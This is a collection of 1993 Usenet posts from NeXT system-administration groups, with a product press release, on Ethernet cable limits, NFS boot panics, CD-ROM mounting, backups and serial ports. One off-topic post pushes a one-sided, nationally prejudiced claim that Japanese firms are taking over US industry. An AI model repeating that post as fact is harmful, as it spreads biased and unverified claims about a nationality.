HOT TECHNOLOGIES INTRODUCES DISTRIBUTED SERIAL PORT KIT
An Innovative Client-Server Paradigm for Serial Communications
March 22, 1993
BOSTON - Hot Technologies today introduced a comprehensive object
library and palette for client - server control of serial peripherals
in custom NeXTSTEP(R) applications. The SerialPortKit(TM) is
designed to help organizations and developers control a variety of
serial devices such as modems, printers, terminals, audio/video
equipment, bar code readers, magnetic stripe card readers,
controllers and data acquisition devices.
The advanced distributed architecture of the SerialPortKit allows a
client application to remotely access serial devices anywhere on a
network. An organization can use the SerialPortKit to share dial-out
modems in a department whether the modems are located in the same
building or halfway across the world.
Organizations can easily incorporate the SerialPortKit into their
custom applications due to its professionally designed and truly
object-oriented programming interface. The included Interface
Builder(TM) palette, source code examples and on-line reference
manuals further removes the tedious task of traditional serial port
programming.
Reliability and robustness add to the sophistication of the
SerialPortKit. The serial port server technology utilizes multiple
threads of execution and tri-state buffering for optimal speed and
efficiency in a network environment. Other features include
asynchronous and synchronous communications including automatic data
forwarding, automatic port locking which allows other software to
share the serial ports, and built-in network data security.
SerialPortKit joins Hot Technologies' BarCodeKit, a comprehensive
object library for generating bar codes. By combining the power of
object-orientation and PostScript into a comprehensive library of
international standard bar code symbologies, BarCodeKit represents
the state of the art in bar coding technology.
Availability and Pricing
Both the SerialPortKit and BarCodeKit are available now for NeXTSTEP
3.0 directly from Hot Technologies. Customers who purchase either
kit before July 1, 1993 are eligible for a free upgrade to the
NeXTSTEP for Intel(R) Processors version. In addition, developers
who have purchased other serial communication objects prior to March
1, 1993 can upgrade to the SerialPortKit for $49.95 plus proof of
purchase.
Hot Technologies develops, markets and supports component software
and hardware that allows organizations to construct automated
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headquartered at 75 Cambridge Parkway, Suite E-504, Cambridge,
Massachusetts 02142-1238 USA. Call Hot Technologies at
+ 1 617 252 0088 for further information or for a copy of the
company's brochures.
Hot Technologies, SerialPortKit, and BarCodeKit are trademarks of Hot
Technologies. NeXTSTEP and Interface Builder are trademarks of NeXT
Inc. Intel is a registered trademark of Intel Corporation.
From: filibert@vista (Daniel Filiberti)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Reformatting DAT (WangDAT only)
Message-ID: <1993Mar22.195050.26552@ohsu.edu>
Date: 22 Mar 93 19:50:50 GMT
Article-I.D.: ohsu.1993Mar22.195050.26552
Sender: news@ohsu.edu
Organization: Oregon Health Sciences University
If there is any interest, I found out how to reformat my DAT tapes from
uncompressed to compressed (or vice versa) on a WangDAT (Microtech Eclipse
2.0T). This comes in very handy, since the DAT drive sensed the type of data
on the tape when it is inserted, and most software (crappy RunningBack, in
particular) doesn't allow for forcing a reformat in the opposite compression
mode, which means once formatted w/o compression, always formatted w/o
compression, ugh! Well, I now have seen the light...
Anyhow, if many people email me, I can be convinced to post how to do it...
Daniel
Disclaimer: Of course, I won't be responsible for any consequences of this
method, use it at your own risk...I am ;) and, I'll say that line again later.
---
************************************************************
Motto for a monitor, "It's better to burn out, than to fade
away..." [8?)}
************************************************************
Daniel Filiberti
Oregon Health Sciences University
Biomedical Information Communication Center (BICC)
3181 Sam Jackson Park Road
Portland, Oregon 97201-3098
email: filibert@ohsu.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: fletcher@socrates.umd.edu (Charles Fletcher)
Subject: Help Needed: Boot panic when networked
Message-ID: <1993Mar22.215252.18494@socrates.umd.edu>
Keywords: boot, panic, networking
Organization: University of Maryland University College
Date: Mon, 22 Mar 1993 21:52:52 GMT
I have a NeXTstation which acts as a "server" on a two machine network
with a Sun Sparc 2 that we just obtained (there is the problem, you say!-)
Anyway, without knowing much (the other problem) I have networked the machines
so that rlogin/ftp work (easy), the NeXT printer serves the Sun (harder),
and there are some common mounted directories (hard-if this is what is causing
my problem.) The Sun mounts the NeXT directories as either "rw,hard,intr,bg"
or "ro,soft,bg" which I exported from the NeXT using the NFSManager.app.
No yellow pages, no look-up tables, etc. Everything seems fine,
until I need to reboot the NeXT. Then I get a kernel panic when the network
daemons are starting (sometimes at slightly different points). If I remove
the NeXT from the network, it boots without problem. If I remove all the
exported and imported directories from the NeXT and the Sun, it will
eventually boot (sometimes not on the first try). Everytime I think I have
it narrowed downed to a couple of causes, it acts differently--thus driving
me crazier than usual. Can someone please help me.
Here is the last of the boot info before the panic:
Mar 22 14:45:03 tsinext mach: root on sd0
Mar 22 14:45:03 tsinext mach: master cpu at slot 0.
Mar 22 14:45:07 tsinext netmsgserver[62]: network_init
Mar 22 14:45:31 tsinext mach: unexpected kernel page fault failure
Mar 22 14:45:31 tsinext mach: trap: type 0x410 fcode 5 rw 1 faultaddr 0x11020000
Mar 22 14:45:31 tsinext mach: trap: pc 0x10f8ef8c sp 0x37ff60 sr 0x2000
Mar 22 14:45:31 tsinext mach: trap: cpu 0 th 0x10139ff4 proc 0x0 pid 0 pcb 0x10fa600c
Mar 22 14:45:31 tsinext mach: traceback: fp 0x10fa6f34
Mar 22 14:45:31 tsinext mach: called from pc 10f9012c fp 10fa6f4c 4-args 00ff9b01 10136720 0000000d 10fa6f9c
Mar 22 14:45:31 tsinext mach: called from pc 10f90ff6 fp 10fa6f9c 4-args 10136720 10538900 00ff9b01 00000000
Mar 22 14:45:31 tsinext mach: called from pc 10f92204 fp 10fa6fb4 4-args 00000000 10f98860 ff00ff04 10f98888
Mar 22 14:45:31 tsinext mach: called from pc 10f90596 fp 10fa6fe8 4-args 10f98860 00000000 0405a056 000010f9
Of course, pid=0 is the kernel.
If I go into single user mode and do "sh /etc/rc" it usually gives me a panic
with the following:
network_init
netinfo lookupd Problem obtaining NTP initialization data,
aborting. Unable to set time
Problem was: Communication failure: ntpd
Any ideas? Thanks in advance,
Charlie
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| brother wizards.
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From: mslade@netcom.com (Michael Slade)
Subject: Re: Thin Net Length Limits: Real or Imaginary?
Message-ID: <msladeC4B6M7.7v3@netcom.com>
Organization: Netcom - Online Communication Services (408 241-9760 guest)
References: <1993Mar21.151602.228@stone.com> <1993Mar22.062036.5995@csus.edu> <1993Mar22.152453.19783@bernina.ethz.ch>
Date: Mon, 22 Mar 1993 21:06:07 GMT
marcel@nice.usergroup.ethz.ch (Marcel Waldvogel) writes:
>In article <1993Mar22.062036.5995@csus.edu> eps@cs.sfsu.edu writes:
>>Are the limits real? In a word: yes. But there isn't some
>>infinitely steep boundary between working and nonworking. You'll
>>see erratic behavior long before it craps out completely.
>>Sometimes things will work perfectly, sometimes the network will
>>be "slow," sometimes particular nodes will have trouble
>>communicating--but the others seem OK, sometimes you'll get NFS
>>complaints, etc.
>>
>> -=EPS=-
>There were ridiculously long cable lengths in a student lab here. The
>diskless clients never noticed anything special. But if a client was
>turned off, some other clients rebooted at the same time. A few months
>ago, the cable length was reduced to the shortest possible path and
>the problems went away.
>But the cable length limit is primarily to make sure that collisions
>can be detected reliably (it's the distance the first bit of the
>shortest allowed packet may travel when the last bit is being sent).
>-Marcel
I also agree - when we expanded our thin net to cover an office on another
floor, performance on nodes near the end dragged to 0 at times. We thought
that we were within length specs and then used a network analysis tool
that showed us we were at 900 feet. When we broke the net in half by
putting a server in the middle that acted as a bridge the problems went
away.
good luck,
Michael Slade, Datavision Technologies, mslade@netcom.com
From: brunkhorst@mayo.edu (Geoff Brunkhorst)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Thin Net Length Limits: Real or Imaginary?
Message-ID: <1993Mar22.202849.20249@bmw.mayo.edu>
Date: 22 Mar 93 20:28:49 GMT
Article-I.D.: bmw.1993Mar22.202849.20249
References: <1993Mar22.152453.19783@bernina.ethz.ch>
Sender: newsman@bmw.mayo.edu (Usenet News Administrator)
Organization: Mayo Foundation, Rochester MN. Campus
In article <1993Mar22.152453.19783@bernina.ethz.ch>
marcel@nice.usergroup.ethz.ch (Marcel Waldvogel) writes:
> In article <1993Mar22.062036.5995@csus.edu> eps@cs.sfsu.edu writes:
> >Are the limits real? In a word: yes. But there isn't some
> > [...]
> > -=EPS=-
> [...]
> But the cable length limit is primarily to make sure that collisions
> can be detected reliably (it's the distance the first bit of the
> shortest allowed packet may travel when the last bit is being sent).
>
> -Marcel
yes to EPS, no to Marcel.
Actually, the spec is very complex. The cable length limitations is
primarily due to attenuation and other electrical factors, and are
different on every medium. Each media has very concise requirements
of implementation, to make sure that in the worst case, the physical
protocol will deliver as promised.
EPS is right, given you use 'in-spec' cables and equipment. If you
skimp on the quality, then the 'reality' of the limits may actually
shrink.
Ethernet is not forgiving (if you introduce a .1 probability of noise
on the wire, your effective throughput will likely be .9*10mbps).
It's just that most of the protocols and uses above on the protocol
stack are somewhat forgiving, and you won't know you have a problem
until it's too late (read: everyone depends on the network ;-).
As to the posters suggestion the phyical distance is defined by the
packet size times propagation speed... My impression of the rules is
that this defines the max distance between 2 devices without any
MAC-2 (bridges) or higher (routers and above) devices inbetween.
Specifically, this is how 10Base5 and the 2 repeater rule interplay
to allow you the 'max' distance between nodes:
1500m = (3 500m 10base5 strands with two repeaters connecting them)~=
(.7'c')*(64bytes*8bits/byte/10megabit/sec)
note: the 10mbs/sec is the rough approximation of the data in
Winchester encoding running at 22mhz (the actual wire frequency).
note2 : repeaters are sloppy... the actual spec allows for something
like 10microsec delay per repeater.
note3 : yes, this is all from long-term memory, and not copied from
my notes ;-)
So you see, the 10base5 spec defines a max single cable length of 500m, yet
defines the maximum distance between devices at 1500m, given you use in-spec
repeaters.
- Geoff
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Newsgroups: comp.sys.next.sysadmin
From: rlabelle@lamar.colostate.edu
Subject: can't read Rock Ridge CD
Sender: news@yuma.ACNS.ColoState.EDU (News Account)
Message-ID: <Mar22.223236.30189@yuma.ACNS.ColoState.EDU>
Date: Mon, 22 Mar 1993 22:32:36 GMT
Organization: Colorado State University, Fort Collins, CO 80523
Keywords: CD RockRidge
Hello,
I've got a strange cd problem, my nsc running 3.0 won't
open the BANG rockridge format CD in the workspace...it instead mounts the
CD as a ISO 9660. Another symptom is when I try to open a file on the
NeXT 3rd party CD I cause a system panic ! The NS3.0 cd works fine
as well as the NeXT EDU CD. Do I have a corrupt or missing file
somewhere ? The CD player is a NeXT/Sony.
Thanks in advance for any help and suggestions.
Rob LaBelle
Newsgroups: comp.sys.next.sysadmin
From: mark@cyantic.com (Mark T. Dornfeld)
Subject: Re: Thin Net Length Limits: Real or Imaginary?
Organization: CYANTIC Systems
Date: Mon, 22 Mar 1993 13:31:18 GMT
Message-ID: <1993Mar22.133118.9471@cyantic.com>
Keywords: Ethernet
References: <1993Mar21.151602.228@stone.com>
In article <1993Mar21.151602.228@stone.com> andrew@stone.com writes:
>I am interested in discerning what the actual length limit of a "thin
>wire" ethernet LAN is - I've heard various figures: 600', 1500'.
The spec is 185 meters for any thin wire segment. This can be extended
with repeaters, but there are usually better ways to design the network in
the first place. Also, there is a limit of 29 taps or 'T-connectors' that
may be put on any one segment. These limits are real and network
performance will most likely suffer if you exceed them.
>
>If you have hard data on any installation which approaches these limits,
>I'd be interested in hearing how the performance is, or what additional
>hardware you have added to deal with slow packets down a long run.
I am salvaging a network right now for one of our clients who was having
horrendous problems with a thin-wire network that was completely
undesigned.
Collision levels are unacceptably high and debugging a network problem is
nearly impossible with a segment that is too long or over-tapped.
The solution is to throw out the ethernet bus topology in favour of a star
by using a thin-wire concentrator. Many vendors make them and they are
very useful especially when planning a 10BASET network for the future.
We design large networks for our clients and have seen these problems again
and again, often with Apple users who think that networking TCP/IP is like
AppleTalk. You should see the money they throw at routers and PC's and
forget that you need a highway before you need traffic control.
--
Mark T. Dornfeld Voice: (416) 234-9048
CYANTIC Systems Facsimile: (416) 234-0477
101 Subway Crescent Suite 2103 Email: mark@cyantic.com
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From: buzy@quads.uchicago.edu (Len Buzyna)
Subject: DidYouKnow...
Message-ID: <1993Mar23.050634.6576@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago Computing Organizations
Distribution: usa
Date: Tue, 23 Mar 1993 05:06:34 GMT
Today Japanese companies own the 7/11 store chain, Dunlop, Universal Pictures,
Columbia Pictures, Loews Theaters, MCA Home Entertainment, Tri-Star Pictures,
CBS Records, Columbia Records, Spencers stores, Ciniplex Odeon (a big part),
Firestone Tires and many many more very large US companies while foreigners
are prevented from owning any important Japanese concerns. Ordinary Japanese
are kind wonderful people, but what their companies and government are doing
is racist and wrong.
To find out more about this (and get a more complete list of the above),
read (JAPANYES) "Does America Say Yes To Japan?";Leclerc 1992,93 which is
available on INTERNET. (most recent edition is v031993). This thoughtfully
written and important article has been circulating widely in many of America's
biggest corporations & universities like IBM & Harvard. When you read it (it
takes about 30 minutes), you'll see why.
The essay provides a frightening yet fascinating detailed, referenced
overview of the Japanese industrial machine at work and how Japan practices
'business is war' strategies to target and take over strategic critical U.S.
industries like high technology, popular media and heavy industry as well as
influence the decisions of the US government in favor of Japan. It is a very
moving piece and is filled with many verifiable and disturbing examples.
You can get JAPANYES 1 of 3 ways:
1)FTP to monu6.cc.monash.edu.au it's in directory: pub/nihongo as: JAPANYES
2)The article has been posted in its entirety (in three sections however)
in the misc.test & soc.culture.usa & sci.econ newsgroups. Search on the
author 'buzy' or the title 'article' to find the posts.
3)Email a request for JAPANYES to ar12@midway.uchicago.edu
He will email you a copy.
From: andrew@stone.com (Andrew Stone)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Thin Net Length Limits: Real or Imaginary? SUMMARY
Message-ID: <1993Mar23.021050.542@stone.com>
Date: 23 Mar 93 02:10:50 GMT
Article-I.D.: stone.1993Mar23.021050.542
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Sender: andrew@stone.com
Organization: Stone Design Corp
In article <1993Mar21.151602.228@stone.com> andrew@stone.com
(Andrew Stone) writes:
>I am interested in discerning what the actual length limit of a "thin
>wire" ethernet LAN is - I've heard various figures: 600', 1500'.
Here is a summary of the responses from the net, thanks for the instant
info. Basically, the limits are real; and degradation is guaranteed when
the envelope is pushed. Using 10baseT cable, and repeaters, further
distances can be accomplished.
andrew
========================================================================
From: wma.com!mdadgar (Mark Dadgar)
REAL.
Almost all of our thin Ethernet runs push the max of 620 feet. DO NOT
exceed this length - we've had no end of problems with it (in fact, we're
working on a transition to 10B-T).
Our problems have not been ones of slow packets. Instead, we'll find that
one machine is fine and the rest on the segment have problems (NFS
timouts, etc.). All of our runs come out of 3Com Buffered Repeaters.
If you need more comprehensive info, or have specific question, let me
know. I'd be glad to help.
=====================================================================
From: cco.caltech.edu!madler (Mark Adler)
The documented limits are real--they are based on physics, not
marketing. You should be careful exceeding them, since the net
will appear to still work, but in fact the performance will be
degraded. You can buy repeater hardware to connect two nets
somewhat reasonably (around $500 to $1000 range). And as hard
as it may be to believe, the limits are not for the purpose of
selling such hardware.
I think the thin limit used to be 150 m, but has been extended
somewhat (I forget how far) since there are better drivers now-
adays.
====================================================================
From: <math.tamu.edu!Steve.Johnson>
I don't have the spec in front of me, but 600' is the limit.
Unfortunately, we have a couple of lines over 1000' in our building.
We have a Cabletron ST500 repeater vampired into the backbone.
We see a somewhat elevated collision rate, but performance isn't too
bad. We're working with our networking group to rewire parts of
the building to bring all segments into spec.
=====================================================================
From: John Soward <inslab.uky.edu!soward>
Well, we haven't run actual thin wire more than about 400' but we
have "thick" (coax, but not the multi-wire transciever cable" ) running
from the 11th floor of a bldg, into the basement over about 200' then up
to the 3rd floor of that bldg --- and these are big old bldgs with 10 and
12' ceilings...
Other people have told me that they got bad performance when they tried an
approx 800' run using thinnet but I think thinwire is more easily
disturbed by various things than the thick wire -- or transciver cable...
Of course one could always but in a bridge/router mid-way...the
PC-Route PD router stuff is pretty good and can be put up on a little 386
and give good performance...
=====================================================================
From: Paul S. Sears <tree.egr.uh.edu!sears>
I would suggest that you keep the segment as short as possible. From my
understanding, 1500' is the maximum per thin wire segment. Our set up is
various thin segments going to concentrators that connect to our
building/campus backbone.
If it is an option I would strongly recommend going to 10baseT. The hubs
are becoming less expensive and if one port goes out, it doesn't bring
down your entire net.
If you go with thinwire, there is can be a maximum of 30 devices per
segment...
We have had more sucess with shorter runs than longer ones, but our main
problem is with volume of traffic, not with speed....
=====================================================================
From: "Todd A Green" <lothario.cica.indiana.edu!tagreen>
I'll give you hard data :) My subnet is so far out of spec it isn't
funny. I don't even want to begin to try to count the number of
T-connecters we have, but it is far more than the limit. We have 56
machines with IP addresses alone (on the same physical cable), if that
gives you any idea.
As far as cable length goes, last time I put a cable tester on it, it
was around 1200'. Here is some data collected via spray:
SPARC 10 -> SGI Crimson
sending 1162 packets of lnth 86 to antares ...
in 10.4 seconds elapsed time,
293 packets (25.22%) dropped
Sent: 111 packets/sec, 9.4K bytes/sec
Rcvd: 83 packets/sec, 7.0K bytes/sec
Crimson -> NeXT '040 Cube
sending 1162 packets of lnth 86 to lothario ...
951 packets (81.842%) dropped by lothario
20 packets/sec, 1753 bytes/sec
Crimson -> SPARC 10
sending 1162 packets of lnth 86 to rainier ...
384 packets (33.046%) dropped by rainier
2246 packets/sec, 193188 bytes/sec
Draw your own conclusions. I've been pushing to move us over to
10BaseT, and finally got the money approved (thank goodness).
===========================================================
From: Pierce Cantrell <cantrell.tamu.edu!pierce>
We have lots of DEC and Cabletron thinwire repeaters. The University got
burned several years ago with some thinwire repeaters that would shut down
the backbone and all of the repeated ports if there was an open circuit on
any of the thinwire segments, so I have always bought name brand stuff.
(The DEC and Cabletron repeaters only shut down the one segment with
problems).
The last inexpensive thinwire repeater I bought was a DECrepeater 90C
(DECMR-AA/CGF) which lists for $1390 (The University gets a 35% discount).
This is a standalone unit that has a power supply and six segments -- they
also make a version that plugs into their hun. You can order from DEC
Direct (800) 344 4825.
AND:
The specifications for thinwire allow a single segment to be a maximum of
185 meters (606 ft) long. You can have a maximum of 30 stations on a
single segment.
I have run segments as long as 300 meters accidentally -- by adding
stations to a segment over the years and not measuring the length. At this
distance, I started to have trouble with two PC's that were at the end of
the segment. The symptoms were extremely long connect times to the Novell
server, ftp's of files that were more than one ethernet packet hung most
of the time, and telnet was sometimes flaky. My NeXT that was on this same
segment and the rest of the Suns did not seem to have any problems. Since
it took me several days to track this down, because I assumed it was a PC
configuration problem, I have been more careful the last few years. I use
a TDR to measure the length of all my segments, have a map with all the
segments marked, etc. (I also caught some flak from my colleagues as
networking is supposed to be my research area)
A relatively cheap solution is to purchase a thinwire repeater (~$1K) that
will have six segments or so. You can put the repeater in a central
location and drive 185 meters from it in all directions. There are many
other ways to extend an Ethernet. If you will tell me your problem, I
would be happy to suggest some things. I have a thickwire backbone which
is connected between two buildings with fiber optic repeaters, three
thinwire repeaters, a router that connects into the campus backbone, and a
couple of back end networks to labs with lots of machines.
==============================================================
From: eps@futon.SFSU.EDU (Eric P. Scott)
For "thin wire" (10base2) it's 185m (600'). Maximum of 30 breaks
(each tee or barrel counts). The minimum separation between nodes
is pretty small (I think it's .5m, but don't quote me on that).
NO cable is permissible between tees and tranceivers.
Some vendors (e.g. 3Com) build hardware that can exceed the
standard limits, but only if you use their stuff exclusively.
Repeaters, bridges, routers, etc. "legally" allow you to
exceed the limits of a single cable. 10base5 ("thick wire")
generally has higher limits and 10baseT ("UTP") lower limits.
If you want The Whole Story, ask on comp.dcom.lans.ethernet.
Are the limits real? In a word: yes. But there isn't some
infinitely steep boundary between working and nonworking. You'll
see erratic behavior long before it craps out completely.
Sometimes things will work perfectly, sometimes the network will
be "slow," sometimes particular nodes will have trouble
communicating--but the others seem OK, sometimes you'll get NFS
complaints, etc.
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From: rabjab@golem.ucsd.edu (Jeff Bytof)
Newsgroups: comp.sys.next.sysadmin
Subject: swapfile mystery
Date: Tue, 23 Mar 1993 08:12:28 GMT
Organization: sio
Message-ID: <rabjab.72.732874348@golem.ucsd.edu>
After running a program, the swapfile size goes from 21M to over 40M,
and stays there after the program exits. Why does it not reduce to
the low water mark? How can I reduce it without having to reboot?
-rabjab
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From: M_Carling@BlueRose.com (M Carling)
Subject: Re: can't read Rock Ridge CD
Message-ID: <1993Mar23.050739.4943@bluerose.com>
Sender: m@bluerose.com
Organization: Blue Rose Systems, Inc.
References: <Mar22.223236.30189@yuma.ACNS.ColoState.EDU>
Distribution: na
Date: Tue, 23 Mar 1993 05:07:39 GMT
In article <Mar22.223236.30189@yuma.ACNS.ColoState.EDU>
rlabelle@lamar.colostate.edu writes:
> Hello,
>
> I've got a strange cd problem, my nsc running 3.0 won't
> open the BANG rockridge format CD in the workspace...it instead mounts
the
> CD as a ISO 9660. Another symptom is when I try to open a file on the
> NeXT 3rd party CD I cause a system panic ! The NS3.0 cd works fine
> as well as the NeXT EDU CD. Do I have a corrupt or missing file
> somewhere ? The CD player is a NeXT/Sony.
If you find that it doesn't work on another NeXT, send it back, and we'll
replace it.
M Carling
President, Bay Area NeXT Group
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From: gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos)
Subject: SoftPC/Serial Port Question
Message-ID: <1993Mar22.192844.4090@Princeton.EDU>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
Date: Mon, 22 Mar 1993 19:28:44 GMT
We installed a PC-based asynchronous communications program in the
SoftPC environment, and used it successfully for a couple of days.
However, it has stopped working on the comm port we'd originally
selected and configured. SoftPC generates the following message (and
no longer allows us to use /dev/ttyb):
"Device used by Comms adapter could not be accessed. Check
permissions. Comz = /dev/ttyb"
What does this message really mean?
As far as I can tell, the permissions seem fine (at least, they are no
different than the permissions on /dev/ttya, which we are now using
for the serial port). Even though we've got things working on the
second serial port, we would like to know why the first port is not
available and make it available for another application.
Any help appreciated,
Phil
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From: anderson@macc.wisc.edu (Jess Anderson)
Subject: Re: can't read Rock Ridge CD
Message-ID: <1993Mar23.120937.17389@macc.wisc.edu>
Sender: news@macc.wisc.edu (USENET News System)
Organization: Madison Academic Computing Center, UW-Madison
References: <Mar22.223236.30189@yuma.ACNS.ColoState.EDU> <1993Mar23.050739.4943@bluerose.com>
Distribution: na
Date: Tue, 23 Mar 93 12:09:37 GMT
>rlabelle@lamar.colostate.edu writes:
>> I've got a strange cd problem, my nsc running 3.0 won't
>> open the BANG rockridge format CD in the workspace...it instead mounts
>the
>> CD as a ISO 9660. Another symptom is when I try to open a file on the
>> NeXT 3rd party CD I cause a system panic ! The NS3.0 cd works fine
>> as well as the NeXT EDU CD. Do I have a corrupt or missing file
>> somewhere ? The CD player is a NeXT/Sony.
Can't help you much, but both the BaNG and NeXT 3rd party CDs
opened without difficulty for me; my drive is also a NeXT/Sony.
--
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From: kgnome@cs.concordia.ca (MATIS stephane)
Subject: Backing up to floppies and Old News ?
Message-ID: <C4CGMv.CEs@newsflash.concordia.ca>
Sender: usenet@newsflash.concordia.ca (USENET News System)
Organization: Computer Science, Concordia University, Montreal, Quebec
Date: Tue, 23 Mar 1993 13:40:07 GMT
I decided to squeeze two questions into this post.
1. What can I use to back-up to floppies *selected* files and directories
automatically ?
I have tried to compile GNU tar1.11 and it didn't. I don't like
cpio or dump, as each has limitations. What's left ? Or better as this,
what is there ? I need multi-volume compressed if all possible.
2. Does any company have Internet news avialable on CD-ROM ? 91,92,93
first quarter ?
Best would be something pre-indexed for Librarian and updated
every month/quarter.
thanks all
+---------------------------------+ ___ ___ ___
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From: ijeff@hank.carleton.ca (Ian Jefferson)
Subject: Re: can't read Rock Ridge CD
Message-ID: <ijeff.732894572@cunews>
Keywords: CD RockRidge
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <Mar22.223236.30189@yuma.ACNS.ColoState.EDU>
Date: Tue, 23 Mar 1993 13:49:32 GMT
In <Mar22.223236.30189@yuma.ACNS.ColoState.EDU> rlabelle@lamar.colostate.edu writes:
>Hello,
>I've got a strange cd problem, my nsc running 3.0 won't
>open the BANG rockridge format CD in the workspace...it instead mounts the
>CD as a ISO 9660. Another symptom is when I try to open a file on the
>NeXT 3rd party CD I cause a system panic ! The NS3.0 cd works fine
>as well as the NeXT EDU CD. Do I have a corrupt or missing file
>somewhere ? The CD player is a NeXT/Sony.
>Thanks in advance for any help and suggestions.
>Rob LaBelle
Double check the cable scsi id and termination on all of the things on
the SCSI bus.
Now check /usr/filesystems/CDROM.fs it should contain a file
called CDROM.util permissions rwsr-xr-x root wheel. This program
runs as root that's what the s (setuid) bit does in the permissions.
If these files are missing or corrupt then copy them back from your
NeXT CD and check again. You have to use a shell to do this.
Good luck.
--
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From: erickson@oak.mcs.gvsu.edu (Carl Erickson)
Subject: Canon part number for NeXT color printer?
Message-ID: <1993Mar23.140732.19923@mcs.gvsu.edu>
Sender: erickson@mcs.gvsu.edu (Carl Erickson)
Organization: Grand Valley State University
Date: Tue, 23 Mar 1993 14:07:32 GMT
Can anyone share with me a Canon part number or name for
the ink cartridges that the NeXT color PS printer uses?
Thanks,
Carl
--
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Grand Valley State University | Allendale MI 49401
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From: cbliek@dcc.uchile.cl (Christian Bliek)
Subject: Sun networking problems
Sender: usenet@dcc.uchile.cl (Network News)
Message-ID: <1993Mar23.153832.33878@dcc.uchile.cl>
Date: Tue, 23 Mar 1993 15:38:32 GMT
Organization: Universidad de Chile, Depto. de Ciencias de la Computacion
Keywords: sun,network,netinfo,nfs,printing
We have a single NeXT connected to a network of Suns. The connection was
defined using hostmanager.app (using local domain only, readable only by
local net, etc). Since the Sun network (while running yp) has a separate
nameserver, a /etc/resolv.conf file was added. I do have a couple of
questions regarding this setup:
DEFINING HOSTS IN THE NETINFO DATABASE:
This configuration seems to work without having to define all the hosts in
the netinfo database. Why should I bother with defining them and keeping
them up to date? The only two hosts that are in the netinfo database are
localhost and broadcasthost ... but the internet address of broadcasthost
for example, still is the default (i.e. 255.255.255.255). While using
hostmanager we have defined a totally different address, is this normal??
PRINTMANAGER PROTOCOLS:
The two printers on the sun network have been defined in the netinfo
database and printing works. However, using the printmanager to examine
the queues is very, very slow ... which is not surprising if you look at
the network packets (amberes is the NeXT machine, huemul the Sun machine
that runs the printer):
% etherfind -i le1 host amberes
icmp type
lnth proto source destination src port dst port
80 udp amberes dcc.uchile.cl 3317 domain
170 udp amberes huemul 7657 7657
70 icmp huemul amberes dst unreachable
170 udp amberes huemul 7657 7657
70 icmp huemul amberes dst unreachable
170 udp amberes huemul 7657 7657
70 icmp huemul amberes dst unreachable
60 tcp amberes huemul 1023 printer
60 tcp huemul amberes printer 1023
60 tcp amberes huemul 1023 printer
60 tcp amberes huemul 1023 printer
65 tcp huemul amberes printer 1023
60 tcp huemul amberes printer 1023
60 tcp amberes huemul 1023 printer
60 tcp amberes huemul 1023 printer
60 tcp huemul amberes printer 1023
is there any way that the first 3 retries to port 7657 can be avoided
(what is port 7657 anyway?) ... note that this situation does not change
even when the host (huemul) is included in the netinfo database.
NFS HANGUP:
A number of directories are mounted with the option `retry interruptably',
when the NFS server is down or slow ... one can however not even interrupt
an ls in a directory to be mounted!? Similarly, at login the workspace
file viewer doesn't appear in these cases ... anything that can be done
about this?
Thanks for your help,
Christian Bliek
(cbliek@dcc.uchile.cl)
Ps. There appears to be nothing on this in the FAQ's, NeXTanswers, ...
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From: rlabelle@lamar.colostate.edu
Subject: Re: can't read Rock Ridge CD
Sender: news@yuma.ACNS.ColoState.EDU (News Account)
Message-ID: <Mar23.162638.83156@yuma.ACNS.ColoState.EDU>
Date: Tue, 23 Mar 1993 16:26:38 GMT
Organization: Colorado State University, Fort Collins, CO 80523
Keywords: CD RockRidge
Thanks for all the suggestions on how to solve this problem. Ian hit the
nail on the head, the CDROM.util file did not have the setuid bit set.
The bang cd works fine now.
Rob LaBelle
|> Double check the cable scsi id and termination on all of the things on
|> the SCSI bus.
|>
|> Now check /usr/filesystems/CDROM.fs it should contain a file
|> called CDROM.util permissions rwsr-xr-x root wheel. This program
|> runs as root that's what the s (setuid) bit does in the permissions.
|>
|> If these files are missing or corrupt then copy them back from your
|> NeXT CD and check again. You have to use a shell to do this.
|>
|> Good luck.
|>
|>
|> --
|>
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|> Ian Jefferson ijeff@ccs.carleton.ca No NeXT mail please!
|> ijeff@computeractive.on.ca NeXT mail please!
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From: wagner!beckers (Becki Kain)
Subject: what backup are you using?
Message-ID: <1993Mar23.190620.4002@imagine.com>
Sender: beckers@imagine.com
Organization: Imagine Multimedia, Inc., Ann Arbor, MI, USA
Date: Tue, 23 Mar 1993 19:06:20 GMT
Hello Other Next Sys Ads;
I need some information about doing backups - mainly, what are other
people using? I'm working on gnutar1.10 to a dec 8mm tape drive. Any
other ideas?
Also, ns486 on a DELL 450de2/dgx is working well here, although my floppy
drive wants to initialize all diskettes, no matter what's on them.
Installation initially was easy, as was the Developer release. Came onto
the network without a hitch.
thanks
beckers
--
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From: 092306@hyperion.lanl.gov (Jerry Weber IS-5)
Subject: Remote accessing an Optical disk
Message-ID: <1993Mar23.194815.14196@newshost.lanl.gov>
Keywords: optical, mount, OD, remote
Sender: news@newshost.lanl.gov
Organization: Los Alamos National Laboratory
Date: Tue, 23 Mar 1993 19:48:15 GMT
I'am trying to remotely access an optical drive from NeXT to NeXT. I have
the disk inserted and it is seen from "df". I exported the mounted disk and
I also know that mountd and yp are running on both machines. I'am even
able to execute the mount on the remote NeXT, yet I can-NOT view the
files on the disk. Anyone see what I'am missing?
--------------------------------------------------------------
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Los Alamos National Laboratory IS-5
MS D417 (505)667-7410 FAX(505)665-5234
Los Alamos, NM 87545 jerry.weber@lanl.gov
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From: hiebm@acf3.nyu.edu (Michael Hieb)
Newsgroups: comp.sys.next.sysadmin
Subject: Using remotefileserver with ATT machines and Next
Date: 23 Mar 1993 22:07:40 GMT
Organization: New York University
Message-ID: <1oo1nc$rm6@calvin.NYU.EDU>
Summary: How to use remotefileserver mounts with ATT nmachines
Keywords: ATT remotefileserver
Does anyone know of how to use remotefileserver over a LAN with ATT
machines. As there exists the service listed in NetInfoServer, it
suggests
the possibility. Any info would be helpful. If necessary to compile ATT
remotefileserver on the Next does anyone know of source location,
experience of others would be useful.
Michael
From: brian@systemix.com (Brian Cuthie)
